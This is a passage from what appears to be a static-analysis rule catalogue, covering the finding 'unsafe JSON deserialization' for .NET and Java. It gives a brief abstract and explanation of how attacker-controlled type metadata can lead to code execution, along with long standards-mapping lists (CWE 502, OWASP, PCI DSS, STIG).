[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [16] CWE ID 502
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[17] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2010 A1 Injection
[20] Standards Mapping - OWASP Top 10 2013 A1 Injection
[21] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[22] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.5 - Web Software Attack Mitigation
[35] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.structural.dotnet.dynamic_code_evaluation_unsafe_json_deserialization
Abstract
Deserializing user-controlled Json streams might enable attackers to execute arbitrary code on the server, abuse application logic, and/or lead to denial of service.
Explanation
Json serialization libraries which turn object graphs into Json formatted data may include the necessary metadata to reconstruct the objects back from the Json stream. If attackers can specify the classes of the objects to be reconstructed and are able to force the application to run arbitrary setters with user-controlled data, they may be able to execute arbitrary code during the deserialization of the Json stream.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 502
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [16] CWE ID 502
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[17] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2010 A1 Injection
[20] Standards Mapping - OWASP Top 10 2013 A1 Injection
[21] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[22] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.5 - Web Software Attack Mitigation
[35] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.structural.java.dynamic_code_evaluation_unsafe_json_deserialization